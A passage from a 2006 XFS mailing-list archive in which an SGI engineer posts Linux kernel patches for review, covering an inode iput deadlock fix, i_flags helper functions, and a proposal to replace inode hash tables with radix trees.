(larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9357faG026731 for ; Mon, 2 Oct 2006 22:07:43 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id PAA01842; Tue, 3 Oct 2006 15:06:56 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9356tpj19555111; Tue, 3 Oct 2006 15:06:56 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9356sR419556433; Tue, 3 Oct 2006 15:06:54 +1000 (AEST) Date: Tue, 3 Oct 2006 15:06:54 +1000 From: David Chinner To: xfs-dev@sgi.com Cc: xfs@oss.sgi.com Subject: Review: prevent deadlock via async iput from xfs_iunpin Message-ID: <20061003050654.GQ4695059@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-archive-position: 9147 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O In fixing the recent problems with inode use-after-free in xfs_iunpin, we introduced a new deadlock. When iput() is called, it can trigger new transactions on the inode if we are dropping the final reference. This is a bad thing to do from a xfslogd because it is theonly thread that can move the tail of the log forwards. Hence if we attempt to reservespace for the transaction from xfslogd, and we then need to push the tail of the log forward to make space, we may end up going to sleep waiting for space to become available. This is a deadlock condition because the only thing that can move the tail forward at this point is by running the remaining log callbacks that are pending and only the xfslogd can do this. Hence we cannot call iput() directly from xfs_iunpin. The simple solution is to push the iput() call off to a different thread to drop the reference we gained via igrab() earlier in xfs_iunpin(). The patch below does this by pushing the iput to the xfssyncd. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group --- fs/xfs/linux-2.6/xfs_super.c | 26 ++++++++++++++++++++++++++ fs/xfs/linux-2.6/xfs_super.h | 1 + fs/xfs/xfs_inode.c | 2 +- 3 files changed, 28 insertions(+), 1 deletion(-) Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_super.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_super.c 2006-09-21 13:29:17.784671067 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_super.c 2006-09-21 14:56:58.546131524 +1000 @@ -551,6 +551,32 @@ xfs_flush_device( xfs_log_force(ip->i_mount, (xfs_lsn_t)0, XFS_LOG_FORCE|XFS_LOG_SYNC); } +/* + * If xfs_iunpin was unfortunate enough to be the last holder of an + * inode reference, the iput() call could issues transactions. This is a + * bad thing to do from xfslogd as it can deadlock waiting for log + * space that only it can free up. hence we simply push the iput off into + * the xfssyncd so that any transactions that are needed can occur without + * fear of deadlock. + */ +STATIC void +xfs_inode_iput_work( + bhv_vfs_t *vfs, + void *inode) +{ + iput((struct inode *)inode); +} + +void +xfs_inode_iput( + xfs_inode_t *ip) +{ + struct inode *inode = vn_to_inode(XFS_ITOV(ip)); + struct bhv_vfs *vfs = XFS_MTOVFS(ip->i_mount); + + xfs_syncd_queue_work(vfs, inode, xfs_inode_iput_work); +} + STATIC void vfs_sync_worker( bhv_vfs_t *vfsp, Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_super.h =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_super.h 2006-09-21 13:29:17.788670542 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_super.h 2006-09-21 13:32:53.216411081 +1000 @@ -81,6 +81,7 @@ extern void xfs_initialize_vnode(bhv_des extern void xfs_flush_inode(struct xfs_inode *); extern void xfs_flush_device(struct xfs_inode *); +extern void xfs_inode_iput(struct xfs_inode *); extern int xfs_blkdev_get(struct xfs_mount *, const char *, struct block_device **); Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.c 2006-09-21 13:29:17.812667394 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.c 2006-09-21 13:32:53.240407934 +1000 @@ -2773,7 +2773,7 @@ xfs_iunpin( spin_unlock(&ip->i_flags_lock); wake_up(&ip->i_ipin_wait); if (inode) - iput(inode); + xfs_inode_iput(ip); } } From owner-xfs@oss.sgi.com Mon Oct 2 22:14:17 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 22:14:23 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k935EBaG027514 for ; Mon, 2 Oct 2006 22:14:14 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id PAA01946; Tue, 3 Oct 2006 15:13:27 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k935DQpj19556260; Tue, 3 Oct 2006 15:13:27 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k935DPKT18608727; Tue, 3 Oct 2006 15:13:25 +1000 (AEST) Date: Tue, 3 Oct 2006 15:13:25 +1000 From: David Chinner To: xfs-dev@sgi.com Cc: xfs@oss.sgi.com Subject: Review: clean up inode i_flags handling Message-ID: <20061003051325.GR4695059@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-archive-position: 9148 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O As a followup to the recent inode i_flags modification and the introduction of the i_flags_lock, introduce a set of wrapper functions for setting, clearing and testing flags in the i_flags field and convert all the code to use the helper functions. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group --- fs/xfs/linux-2.6/xfs_super.c | 4 +--- fs/xfs/xfs_iget.c | 20 ++++++-------------- fs/xfs/xfs_inode.c | 17 +++++------------ fs/xfs/xfs_inode.h | 41 +++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_vnodeops.c | 10 ++++------ 5 files changed, 57 insertions(+), 35 deletions(-) Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_super.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_super.c 2006-09-14 11:18:52.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_super.c 2006-09-14 12:34:26.366526717 +1000 @@ -228,9 +228,7 @@ xfs_initialize_vnode( xfs_revalidate_inode(XFS_BHVTOM(bdp), vp, ip); xfs_set_inodeops(inode); - spin_lock(&ip->i_flags_lock); - ip->i_flags &= ~XFS_INEW; - spin_unlock(&ip->i_flags_lock); + xfs_iflags_clear(ip, XFS_INEW); barrier(); unlock_new_inode(inode); Index: 2.6.x-xfs-new/fs/xfs/xfs_iget.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_iget.c 2006-09-14 11:18:52.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_iget.c 2006-09-14 12:01:04.648209950 +1000 @@ -215,7 +215,7 @@ again: * If INEW is set this inode is being set up * we need to pause and try again. */ - if (ip->i_flags & XFS_INEW) { + if (xfs_iflags_test(ip, XFS_INEW)) { read_unlock(&ih->ih_lock); delay(1); XFS_STATS_INC(xs_ig_frecycle); @@ -230,7 +230,7 @@ again: * on its way out of the system, * we need to pause and try again. */ - if (ip->i_flags & XFS_IRECLAIM) { + if (xfs_iflags_test(ip, XFS_IRECLAIM)) { read_unlock(&ih->ih_lock); delay(1); XFS_STATS_INC(xs_ig_frecycle); @@ -243,9 +243,7 @@ again: XFS_STATS_INC(xs_ig_found); - spin_lock(&ip->i_flags_lock); - ip->i_flags &= ~XFS_IRECLAIMABLE; - spin_unlock(&ip->i_flags_lock); + xfs_iflags_clear(ip, XFS_IRECLAIMABLE); version = ih->ih_version; read_unlock(&ih->ih_lock); xfs_ihash_promote(ih, ip, version); @@ -299,10 +297,7 @@ finish_inode: if (lock_flags != 0) xfs_ilock(ip, lock_flags); - spin_lock(&ip->i_flags_lock); - ip->i_flags &= ~XFS_ISTALE; - spin_unlock(&ip->i_flags_lock); - + xfs_iflags_clear(ip, XFS_ISTALE); vn_trace_exit(vp, "xfs_iget.found", (inst_t *)__return_address); goto return_ip; @@ -371,10 +366,7 @@ finish_inode: ih->ih_next = ip; ip->i_udquot = ip->i_gdquot = NULL; ih->ih_version++; - spin_lock(&ip->i_flags_lock); - ip->i_flags |= XFS_INEW; - spin_unlock(&ip->i_flags_lock); - + xfs_iflags_set(ip, XFS_INEW); write_unlock(&ih->ih_lock); /* @@ -625,7 +617,7 @@ xfs_iput_new(xfs_inode_t *ip, vn_trace_entry(vp, "xfs_iput_new", (inst_t *)__return_address); if ((ip->i_d.di_mode == 0)) { - ASSERT(!(ip->i_flags & XFS_IRECLAIMABLE)); + ASSERT(!xfs_iflags_test(ip, XFS_IRECLAIMABLE)) { vn_mark_bad(vp); } if (inode->i_state & I_NEW) Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.c 2006-09-14 11:19:03.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.c 2006-09-14 12:05:38.245023661 +1000 @@ -2193,7 +2193,7 @@ xfs_ifree_cluster( /* Inode not in memory or we found it already, * nothing to do */ - if (!ip || (ip->i_flags & XFS_ISTALE)) { + if (!ip || xfs_iflags_test(ip, XFS_ISTALE)) { read_unlock(&ih->ih_lock); continue; } @@ -2215,10 +2215,7 @@ xfs_ifree_cluster( if (ip == free_ip) { if (xfs_iflock_nowait(ip)) { - spin_lock(&ip->i_flags_lock); - ip->i_flags |= XFS_ISTALE; - spin_unlock(&ip->i_flags_lock); - + xfs_iflags_set(ip, XFS_ISTALE); if (xfs_inode_clean(ip)) { xfs_ifunlock(ip); } else { @@ -2231,9 +2228,7 @@ xfs_ifree_cluster( if (xfs_ilock_nowait(ip, XFS_ILOCK_EXCL)) { if (xfs_iflock_nowait(ip)) { - spin_lock(&ip->i_flags_lock); - ip->i_flags |= XFS_ISTALE; - spin_unlock(&ip->i_flags_lock); + xfs_iflags_set(ip, XFS_ISTALE); if (xfs_inode_clean(ip)) { xfs_ifunlock(ip); @@ -2263,9 +2258,7 @@ xfs_ifree_cluster( AIL_LOCK(mp,s); iip->ili_flush_lsn = iip->ili_item.li_lsn; AIL_UNLOCK(mp, s); - spin_lock(&iip->ili_inode->i_flags_lock); - iip->ili_inode->i_flags |= XFS_ISTALE; - spin_unlock(&iip->ili_inode->i_flags_lock); + xfs_iflags_set(ip, XFS_ISTALE); pre_flushed++; } lip = lip->li_bio_list; @@ -2764,7 +2757,7 @@ xfs_iunpin( struct inode *inode = NULL; spin_lock(&ip->i_flags_lock); - if (!(ip->i_flags & (XFS_IRECLAIM|XFS_IRECLAIMABLE))) { + if (!__xfs_iflags_test(ip, XFS_IRECLAIM|XFS_IRECLAIMABLE)) { bhv_vnode_t *vp = XFS_ITOV_NULL(ip); /* make sync come back and flush this inode */ Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.h =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.h 2006-09-14 11:18:52.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.h 2006-09-14 12:32:16.395321563 +1000 @@ -305,6 +305,47 @@ typedef struct xfs_inode { #endif } xfs_inode_t; + +/* + * i_flags helper functions + */ +static inline void +__xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) +{ + ip->i_flags |= flags; +} + +static inline void +xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) +{ + spin_lock(&ip->i_flags_lock); + __xfs_iflag_set(ip, flags); + spin_unlock(&ip->i_flags_lock); +} + +static inline void +xfs_iflags_clear(xfs_inode_t *ip, unsigned short flags) +{ + spin_lock(&ip->i_flags_lock); + ip->i_flags &= ~flags; + spin_unlock(&ip->i_flags_lock); +} + +static inline int +__xfs_iflags_test(xfs_inode_t *ip, unsigned short flags) +{ + return (ip->i_flags & flags); +} + +static inline int +xfs_iflags_test(xfs_inode_t *ip, unsigned short flags) +{ + int ret; + spin_lock(&ip->i_flags_lock); + ret = __xfs_iflags_test(ip, flags); + spin_unlock(&ip->i_flags_lock); + return ret; +} #endif /* __KERNEL__ */ Index: 2.6.x-xfs-new/fs/xfs/xfs_vnodeops.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_vnodeops.c 2006-09-14 11:18:52.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_vnodeops.c 2006-09-14 12:15:25.249566668 +1000 @@ -3844,9 +3844,7 @@ xfs_reclaim( XFS_MOUNT_ILOCK(mp); vn_bhv_remove(VN_BHV_HEAD(vp), XFS_ITOBHV(ip)); list_add_tail(&ip->i_reclaim, &mp->m_del_inodes); - spin_lock(&ip->i_flags_lock); - ip->i_flags |= XFS_IRECLAIMABLE; - spin_unlock(&ip->i_flags_lock); + xfs_iflags_set(ip, XFS_IRECLAIMABLE); XFS_MOUNT_IUNLOCK(mp); } return 0; @@ -3872,8 +3870,8 @@ xfs_finish_reclaim( */ write_lock(&ih->ih_lock); spin_lock(&ip->i_flags_lock); - if ((ip->i_flags & XFS_IRECLAIM) || - (!(ip->i_flags & XFS_IRECLAIMABLE) && vp == NULL)) { + if (__xfs_iflags_test(ip, XFS_IRECLAIM) || + (!__xfs_iflags_test(ip, XFS_IRECLAIMABLE) && vp == NULL)) { spin_unlock(&ip->i_flags_lock); write_unlock(&ih->ih_lock); if (locked) { @@ -3882,7 +3880,7 @@ xfs_finish_reclaim( } return 1; } - ip->i_flags |= XFS_IRECLAIM; + __xfs_iflags_set(ip, XFS_IRECLAIM); spin_unlock(&ip->i_flags_lock); write_unlock(&ih->ih_lock); From owner-xfs@oss.sgi.com Mon Oct 2 23:07:00 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 23:07:09 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9366vaG032214 for ; Mon, 2 Oct 2006 23:06:59 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA02852; Tue, 3 Oct 2006 16:06:13 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9366Bpj19542294; Tue, 3 Oct 2006 16:06:12 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9366A5G19499742; Tue, 3 Oct 2006 16:06:10 +1000 (AEST) Date: Tue, 3 Oct 2006 16:06:10 +1000 From: David Chinner To: xfs-dev@sgi.com Cc: xfs@oss.sgi.com Subject: [RFC 0/3] Convert XFS inode hashes to radix trees Message-ID: <20061003060610.GV3024@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-archive-position: 9149 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O One of the long standing problems with XFS on large machines and filesystems is the sizing of the inode cache hashes used by XFS to index the xfs_inode_t structures. The mount option ihashsize became a necessity because the default calculations simply can't get it right for all situations. On top of that, as we increase the size of the inode hash and cache more inodes, the inode cluster hash becomes the limiting factor, especially when we have sparse cluster population. The result of this is that we can always get to the point where either the ihash or the chash is a scalability or performance limitation. The following three patches replace the hashes with a more scalable solution that should not require tweaking in most situations. I chose a radix tree to replace the hash chains because of a neat alignment of XFS inode structures and the kernel radix tree fanout. XFS allocates inodes in clusters of 64 inodes and the radix tree keeps 64 sequential entries per node. That means all for the inodes in a cluster will always sit in the same node of the radix tree. Using this relationship, we completely remove the need for the cluster hash to track clusters because we can use a gang lookup on the radix tree to search for an existing inode in the cluster in an efficient manner. The following three patches sit on top of the recently posted i_flags cleanup patch. (http://marc.theaimsgroup.com/?l=linux-xfs&m=115985254820322&w=2) The first patch replaces the inode hash chains with radix trees. A single radix tree with a read/write lock does not provide enough parallelism to prevent performance regressions under simultanenous create/unlink workloadds, so we hash the inode clusters into different radix trees each with their own read/write lock. The default is to create (2*ncpus)-1 radix trees up to a maximum of 15. At this point I have left the ihashsize mount option alone but limited the maximum number it can take to 128. if you specify more than 128 (i.e. everyone currently using this mount option), it falls back to the default. The second patch introduces a per-cluster object lock for chaining the inodes in the cluster together (for xfs_iflush()). The inode chain is currently locked by cluster hash chain lock, so we need some other method of locking if we are to remove the cluster hash altogether. The third patch removes the cluster hash and replaces it with some masking and a radix tree gang lookup. Overall, the patchset removes more than 200 lines of code from the xfs inode caching and lookup code and provides more consistent scalability for large numbers of cached inodes. The only down side is that it limits us to 32 bit inode numbers of 32 bit platforms due to the way the radix tree uses unsigned longs for it's indexes Comments, thoughts, etc are welcome. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Mon Oct 2 23:09:38 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 23:09:44 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9369XaG000380 for ; Mon, 2 Oct 2006 23:09:35 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA02894; Tue, 3 Oct 2006 16:08:47 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9368kpj19580080; Tue, 3 Oct 2006 16:08:46 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9368jL519564972; Tue, 3 Oct 2006 16:08:45 +1000 (AEST) Date: Tue, 3 Oct 2006 16:08:45 +1000 From: David Chinner To: xfs-dev@sgi.com Cc: xfs@oss.sgi.com Subject: [RFC 1/3] Convert inode hash to radix tree Message-ID: <20061003060845.GW3024@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-archive-position: 9150 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O Convert the inode cache hash to a radix tree. A radix tree has been chosen to replace the hash because of a neat alignment of XFS inode structures and the kernel radix tree fanout. XFS allocates inodes in clusters of 64 inodes and the radix tree keeps 64 sequential entries per node. That means all fo the inodes in a cluster will always sit in the same node of the radix tree. A single radix tree with a read/write lock does not provide enough parallelism to prevent performance regressions on multi-processor machines, so we hash the inode clusters into different radix trees each with their own read/write lock. The default is to create (2*ncpus)-1 radix trees up to a maximum of 15. The ihashsize mount option is still present, but it's mostly irrelevant now. -- Dave Chinner Principal Engineer SGI Australian Software Group --- fs/xfs/xfs_iget.c | 260 ++++++++++++++++++++--------------------------------- fs/xfs/xfs_inode.c | 5 - fs/xfs/xfs_inode.h | 8 - fs/xfs/xfsidbg.c | 6 - 4 files changed, 105 insertions(+), 174 deletions(-) Index: 2.6.x-xfs-new/fs/xfs/xfs_iget.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_iget.c 2006-09-14 12:51:10.204651011 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_iget.c 2006-09-18 12:02:31.027726925 +1000 @@ -49,25 +49,24 @@ void xfs_ihash_init(xfs_mount_t *mp) { - __uint64_t icount; uint i; - if (!mp->m_ihsize) { - icount = mp->m_maxicount ? mp->m_maxicount : - (mp->m_sb.sb_dblocks << mp->m_sb.sb_inopblog); - mp->m_ihsize = 1 << max_t(uint, 8, - (xfs_highbit64(icount) + 1) / 2); - mp->m_ihsize = min_t(uint, mp->m_ihsize, - (64 * NBPP) / sizeof(xfs_ihash_t)); + if (!mp->m_ihsize || mp->m_ihsize > 128) { + /* default to (2*cpus) - 1 or 15. */ + mp->m_ihsize = (2 * num_online_cpus()) - 1; + mp->m_ihsize = min(15, mp->m_ihsize); + printk("mp->m_ihsize %d\n", mp->m_ihsize); } - mp->m_ihash = kmem_zalloc_greedy(&mp->m_ihsize, + mp->m_ihash = kmem_zalloc_greedy((size_t *)&mp->m_ihsize, NBPC * sizeof(xfs_ihash_t), mp->m_ihsize * sizeof(xfs_ihash_t), KM_SLEEP | KM_MAYFAIL | KM_LARGE); mp->m_ihsize /= sizeof(xfs_ihash_t); - for (i = 0; i < mp->m_ihsize; i++) + for (i = 0; i < mp->m_ihsize; i++) { rwlock_init(&(mp->m_ihash[i].ih_lock)); + INIT_RADIX_TREE(&(mp->m_ihash[i].ih_root), GFP_ATOMIC); + } } /* @@ -89,9 +88,7 @@ xfs_chash_init(xfs_mount_t *mp) { uint i; - mp->m_chsize = max_t(uint, 1, mp->m_ihsize / - (XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_inodelog)); - mp->m_chsize = min_t(uint, mp->m_chsize, mp->m_ihsize); + mp->m_chsize = mp->m_ihsize * 2049; mp->m_chash = (xfs_chash_t *)kmem_zalloc(mp->m_chsize * sizeof(xfs_chash_t), KM_SLEEP | KM_LARGE); @@ -117,40 +114,6 @@ xfs_chash_free(xfs_mount_t *mp) } /* - * Try to move an inode to the front of its hash list if possible - * (and if its not there already). Called right after obtaining - * the list version number and then dropping the read_lock on the - * hash list in question (which is done right after looking up the - * inode in question...). - */ -STATIC void -xfs_ihash_promote( - xfs_ihash_t *ih, - xfs_inode_t *ip, - ulong version) -{ - xfs_inode_t *iq; - - if ((ip->i_prevp != &ih->ih_next) && write_trylock(&ih->ih_lock)) { - if (likely(version == ih->ih_version)) { - /* remove from list */ - if ((iq = ip->i_next)) { - iq->i_prevp = ip->i_prevp; - } - *ip->i_prevp = iq; - - /* insert at list head */ - iq = ih->ih_next; - iq->i_prevp = &ip->i_next; - ip->i_next = iq; - ip->i_prevp = &ih->ih_next; - ih->ih_next = ip; - } - write_unlock(&ih->ih_lock); - } -} - -/* * Look up an inode by number in the given file system. * The inode is looked up in the hash table for the file system * represented by the mount point parameter mp. Each bucket of @@ -209,110 +172,104 @@ xfs_iget_core( again: read_lock(&ih->ih_lock); - for (ip = ih->ih_next; ip != NULL; ip = ip->i_next) { - if (ip->i_ino == ino) { + ip = (xfs_inode_t *)radix_tree_lookup(&ih->ih_root, (unsigned long)ino); + if (ip != NULL) { + /* + * If INEW is set this inode is being set up + * we need to pause and try again. + */ + if (xfs_iflags_test(ip, XFS_INEW)) { + read_unlock(&ih->ih_lock); + delay(1); + XFS_STATS_INC(xs_ig_frecycle); + + goto again; + } + + inode_vp = XFS_ITOV_NULL(ip); + if (inode_vp == NULL) { /* - * If INEW is set this inode is being set up + * If IRECLAIM is set this inode is + * on its way out of the system, * we need to pause and try again. */ - if (xfs_iflags_test(ip, XFS_INEW)) { + if (xfs_iflags_test(ip, XFS_IRECLAIM)) { read_unlock(&ih->ih_lock); delay(1); XFS_STATS_INC(xs_ig_frecycle); goto again; } + vn_trace_exit(vp, "xfs_iget.alloc", + (inst_t *)__return_address); - inode_vp = XFS_ITOV_NULL(ip); - if (inode_vp == NULL) { - /* - * If IRECLAIM is set this inode is - * on its way out of the system, - * we need to pause and try again. - */ - if (xfs_iflags_test(ip, XFS_IRECLAIM)) { - read_unlock(&ih->ih_lock); - delay(1); - XFS_STATS_INC(xs_ig_frecycle); + XFS_STATS_INC(xs_ig_found); - goto again; - } + xfs_iflags_clear(ip, XFS_IRECLAIMABLE); + version = ih->ih_version; + read_unlock(&ih->ih_lock); - vn_trace_exit(vp, "xfs_iget.alloc", - (inst_t *)__return_address); + XFS_MOUNT_ILOCK(mp); + list_del_init(&ip->i_reclaim); + XFS_MOUNT_IUNLOCK(mp); - XFS_STATS_INC(xs_ig_found); + goto finish_inode; - xfs_iflags_clear(ip, XFS_IRECLAIMABLE); - version = ih->ih_version; - read_unlock(&ih->ih_lock); - xfs_ihash_promote(ih, ip, version); + } else if (vp != inode_vp) { + struct inode *inode = vn_to_inode(inode_vp); - XFS_MOUNT_ILOCK(mp); - list_del_init(&ip->i_reclaim); - XFS_MOUNT_IUNLOCK(mp); - - goto finish_inode; - - } else if (vp != inode_vp) { - struct inode *inode = vn_to_inode(inode_vp); - - /* The inode is being torn down, pause and - * try again. - */ - if (inode->i_state & (I_FREEING | I_CLEAR)) { - read_unlock(&ih->ih_lock); - delay(1); - XFS_STATS_INC(xs_ig_frecycle); + /* The inode is being torn down, pause and + * try again. + */ + if (inode->i_state & (I_FREEING | I_CLEAR)) { + read_unlock(&ih->ih_lock); + delay(1); + XFS_STATS_INC(xs_ig_frecycle); - goto again; - } -/* Chances are the other vnode (the one in the inode) is being torn - * down right now, and we landed on top of it. Question is, what do - * we do? Unhook the old inode and hook up the new one? - */ - cmn_err(CE_PANIC, - "xfs_iget_core: ambiguous vns: vp/0x%p, invp/0x%p", - inode_vp, vp); + goto again; } +/* Chances are the other vnode (the one in the inode) is being torn +* down right now, and we landed on top of it. Question is, what do +* we do? Unhook the old inode and hook up the new one? +*/ + cmn_err(CE_PANIC, + "xfs_iget_core: ambiguous vns: vp/0x%p, invp/0x%p", + inode_vp, vp); + } - /* - * Inode cache hit: if ip is not at the front of - * its hash chain, move it there now. - * Do this with the lock held for update, but - * do statistics after releasing the lock. - */ - version = ih->ih_version; - read_unlock(&ih->ih_lock); - xfs_ihash_promote(ih, ip, version); - XFS_STATS_INC(xs_ig_found); + /* + * Inode cache hit: if ip is not at the front of + * its hash chain, move it there now. + * Do this with the lock held for update, but + * do statistics after releasing the lock. + */ + version = ih->ih_version; + read_unlock(&ih->ih_lock); + XFS_STATS_INC(xs_ig_found); finish_inode: - if (ip->i_d.di_mode == 0) { - if (!(flags & XFS_IGET_CREATE)) - return ENOENT; - xfs_iocore_inode_reinit(ip); - } + if (ip->i_d.di_mode == 0) { + if (!(flags & XFS_IGET_CREATE)) + return ENOENT; + xfs_iocore_inode_reinit(ip); + } - if (lock_flags != 0) - xfs_ilock(ip, lock_flags); + if (lock_flags != 0) + xfs_ilock(ip, lock_flags); - xfs_iflags_clear(ip, XFS_ISTALE); - vn_trace_exit(vp, "xfs_iget.found", - (inst_t *)__return_address); - goto return_ip; - } + xfs_iflags_clear(ip, XFS_ISTALE); + vn_trace_exit(vp, "xfs_iget.found", + (inst_t *)__return_address); + goto return_ip; } /* * Inode cache miss: save the hash chain version stamp and unlock * the chain, so we don't deadlock in vn_alloc. */ - XFS_STATS_INC(xs_ig_missed); - version = ih->ih_version; - read_unlock(&ih->ih_lock); + XFS_STATS_INC(xs_ig_missed); /* * Read the disk inode attributes into a new inode structure and get @@ -340,34 +297,32 @@ finish_inode: * Put ip on its hash chain, unless someone else hashed a duplicate * after we released the hash lock. */ + if (radix_tree_preload(GFP_KERNEL)) { + delay(1); + goto again; + } write_lock(&ih->ih_lock); - if (ih->ih_version != version) { - for (iq = ih->ih_next; iq != NULL; iq = iq->i_next) { - if (iq->i_ino == ino) { - write_unlock(&ih->ih_lock); - xfs_idestroy(ip); - - XFS_STATS_INC(xs_ig_dup); - goto again; - } - } + error = radix_tree_insert(&ih->ih_root, (unsigned long)ino, (void *)ip); + if (unlikely(error)) { + BUG_ON(error != -EEXIST); + write_unlock(&ih->ih_lock); + radix_tree_preload_end(); + xfs_idestroy(ip); + ASSERT(ih->ih_version != version); + XFS_STATS_INC(xs_ig_dup); + goto again; } /* * These values _must_ be set before releasing ihlock! */ ip->i_hash = ih; - if ((iq = ih->ih_next)) { - iq->i_prevp = &ip->i_next; - } - ip->i_next = iq; - ip->i_prevp = &ih->ih_next; - ih->ih_next = ip; ip->i_udquot = ip->i_gdquot = NULL; ih->ih_version++; xfs_iflags_set(ip, XFS_INEW); write_unlock(&ih->ih_lock); + radix_tree_preload_end(); /* * put ip on its cluster's hash chain @@ -559,30 +514,16 @@ xfs_inode_incore(xfs_mount_t *mp, { xfs_ihash_t *ih; xfs_inode_t *ip; - ulong version; ih = XFS_IHASH(mp, ino); read_lock(&ih->ih_lock); - for (ip = ih->ih_next; ip != NULL; ip = ip->i_next) { - if (ip->i_ino == ino) { - /* - * If we find it and tp matches, return it. - * Also move it to the front of the hash list - * if we find it and it is not already there. - * Otherwise break from the loop and return - * NULL. - */ - if (ip->i_transp == tp) { - version = ih->ih_version; - read_unlock(&ih->ih_lock); - xfs_ihash_promote(ih, ip, version); - return (ip); - } - break; - } - } + ip = (xfs_inode_t *) radix_tree_lookup(&ih->ih_root, (unsigned long)ino); read_unlock(&ih->ih_lock); - return (NULL); + + /* the returned 